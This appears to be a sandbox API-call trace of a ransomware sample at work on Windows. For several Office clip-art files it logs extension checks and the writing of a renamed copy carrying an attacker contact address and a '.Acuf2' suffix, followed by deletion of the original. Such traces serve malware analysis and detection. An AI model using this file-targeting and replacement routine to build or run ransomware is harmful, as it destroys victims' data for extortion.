	[0260.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.677] lstrlenW (lpString=".doc") returned 4
	[0260.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.677] lstrlenW (lpString=".docx") returned 5
	[0260.677] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.677] lstrlenW (lpString=".pdf") returned 4
	[0260.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.677] lstrlenW (lpString=".xls") returned 4
	[0260.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.677] lstrlenW (lpString=".xlsx") returned 5
	[0260.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.678] lstrlenW (lpString=".ppt") returned 4
	[0260.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.678] lstrlenW (lpString=".zip") returned 4
	[0260.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.678] lstrlenW (lpString=".rar") returned 4
	[0260.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.678] lstrlenW (lpString=".bz2") returned 4
	[0260.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.678] lstrlenW (lpString=".7z") returned 3
	[0260.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.678] lstrlenW (lpString=".dbf") returned 4
	[0260.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.678] lstrlenW (lpString=".1cd") returned 4
	[0260.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 63
	[0260.678] lstrlenW (lpString=".jpg") returned 4
	[0260.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.678] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.678] lstrlenW (lpString="DD01015_.WMF") returned 12
	[0260.678] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.679] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=2226) returned 1
	[0260.679] CloseHandle (hObject=0x220) returned 1
	[0260.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20
	[0260.679] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.679] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.679] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0260.680] GetLastError () returned 0x0
	[0260.680] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x8b2, lpOverlapped=0x0) returned 1
	[0260.682] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x8c0, lpOverlapped=0x0) returned 1
	[0260.683] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.683] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.683] SetEndOfFile (hFile=0x35c) returned 1
	[0260.683] CloseHandle (hObject=0x35c) returned 1
	[0260.683] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.683] SetEndOfFile (hFile=0x220) returned 1
	[0260.685] CloseHandle (hObject=0x220) returned 1
	[0260.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.685] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1
	[0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.686] lstrlenW (lpString=".doc") returned 4
	[0260.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString=".docx") returned 5
	[0260.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.686] lstrlenW (lpString=".pdf") returned 4
	[0260.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString=".xls") returned 4
	[0260.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.686] lstrlenW (lpString=".xlsx") returned 5
	[0260.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.686] lstrlenW (lpString=".ppt") returned 4
	[0260.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.686] lstrlenW (lpString=".zip") returned 4
	[0260.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.686] lstrlenW (lpString=".rar") returned 4
	[0260.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString=".bz2") returned 4
	[0260.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString=".7z") returned 3
	[0260.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.686] lstrlenW (lpString=".dbf") returned 4
	[0260.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.686] lstrlenW (lpString=".1cd") returned 4
	[0260.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.686] lstrlenW (lpString=".jpg") returned 4
	[0260.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.687] lstrlenW (lpString=".doc") returned 4
	[0260.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString=".docx") returned 5
	[0260.687] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.687] lstrlenW (lpString=".pdf") returned 4
	[0260.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString=".xls") returned 4
	[0260.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.687] lstrlenW (lpString=".xlsx") returned 5
	[0260.687] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.687] lstrlenW (lpString=".ppt") returned 4
	[0260.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.687] lstrlenW (lpString=".zip") returned 4
	[0260.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.687] lstrlenW (lpString=".rar") returned 4
	[0260.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString=".bz2") returned 4
	[0260.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString=".7z") returned 3
	[0260.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.687] lstrlenW (lpString=".dbf") returned 4
	[0260.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.687] lstrlenW (lpString=".1cd") returned 4
	[0260.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63
	[0260.687] lstrlenW (lpString=".jpg") returned 4
	[0260.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.688] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.688] lstrlenW (lpString="DD01039_.WMF") returned 12
	[0260.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.688] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=14820) returned 1
	[0260.688] CloseHandle (hObject=0x220) returned 1
	[0260.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 0x20
	[0260.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.688] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.688] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0260.689] GetLastError () returned 0x0
	[0260.689] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x39e4, lpOverlapped=0x0) returned 1
	[0260.691] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x39f0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x39f0, lpOverlapped=0x0) returned 1
	[0260.692] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.692] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.692] SetEndOfFile (hFile=0x35c) returned 1
	[0260.692] CloseHandle (hObject=0x35c) returned 1
	[0260.692] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.692] SetEndOfFile (hFile=0x220) returned 1
	[0260.694] CloseHandle (hObject=0x220) returned 1
	[0260.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.695] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf")) returned 1
	[0260.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.695] lstrlenW (lpString=".doc") returned 4
	[0260.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.695] lstrlenW (lpString=".docx") returned 5
	[0260.695] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.695] lstrlenW (lpString=".pdf") returned 4
	[0260.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.695] lstrlenW (lpString=".xls") returned 4
	[0260.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.695] lstrlenW (lpString=".xlsx") returned 5
	[0260.695] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.695] lstrlenW (lpString=".ppt") returned 4
	[0260.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.696] lstrlenW (lpString=".zip") returned 4
	[0260.696] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.696] lstrlenW (lpString=".rar") returned 4
	[0260.696] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString=".bz2") returned 4
	[0260.696] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString=".7z") returned 3
	[0260.696] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.696] lstrlenW (lpString=".dbf") returned 4
	[0260.696] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.696] lstrlenW (lpString=".1cd") returned 4
	[0260.696] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.696] lstrlenW (lpString=".jpg") returned 4
	[0260.696] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.696] lstrlenW (lpString=".doc") returned 4
	[0260.696] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString=".docx") returned 5
	[0260.696] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.696] lstrlenW (lpString=".pdf") returned 4
	[0260.696] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString=".xls") returned 4
	[0260.696] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.696] lstrlenW (lpString=".xlsx") returned 5
	[0260.696] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.696] lstrlenW (lpString=".ppt") returned 4
	[0260.696] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.697] lstrlenW (lpString=".zip") returned 4
	[0260.697] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.697] lstrlenW (lpString=".rar") returned 4
	[0260.697] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.697] lstrlenW (lpString=".bz2") returned 4
	[0260.697] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.697] lstrlenW (lpString=".7z") returned 3
	[0260.697] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.697] lstrlenW (lpString=".dbf") returned 4
	[0260.697] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.697] lstrlenW (lpString=".1cd") returned 4
	[0260.697] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF") returned 63
	[0260.697] lstrlenW (lpString=".jpg") returned 4
	[0260.697] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.697] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0260.697] lstrlenW (lpString="DD01138_.WMF") returned 12
	[0260.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.698] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=3692) returned 1
	[0260.698] CloseHandle (hObject=0x220) returned 1
	[0260.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 0x20
	[0260.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0260.698] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.698] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0260.698] GetLastError () returned 0x0
	[0260.698] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xe6c, lpOverlapped=0x0) returned 1
	[0260.748] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xe70, lpOverlapped=0x0) returned 1
	[0260.749] ReadFile (in: hFile=0x220, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.749] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.750] SetEndOfFile (hFile=0x35c) returned 1
	[0260.750] CloseHandle (hObject=0x35c) returned 1
	[0260.750] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.750] SetEndOfFile (hFile=0x220) returned 1
	[0260.754] CloseHandle (hObject=0x220) returned 1
	[0260.754] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf")) returned 1
	[0260.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.911] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.911] lstrlenW (lpString=".doc") returned 4
	[0260.911] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString=".docx") returned 5
	[0260.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.912] lstrlenW (lpString=".pdf") returned 4
	[0260.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString=".xls") returned 4
	[0260.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.912] lstrlenW (lpString=".xlsx") returned 5
	[0260.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.912] lstrlenW (lpString=".ppt") returned 4
	[0260.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.912] lstrlenW (lpString=".zip") returned 4
	[0260.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.912] lstrlenW (lpString=".rar") returned 4
	[0260.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString=".bz2") returned 4
	[0260.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString=".7z") returned 3
	[0260.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.912] lstrlenW (lpString=".dbf") returned 4
	[0260.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.912] lstrlenW (lpString=".1cd") returned 4
	[0260.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.912] lstrlenW (lpString=".jpg") returned 4
	[0260.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 63
	[0260.912] lstrlenW (lpString=".doc") returned 4
	[0260.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.913] lstrlenW (lpString=".docx") returned 5
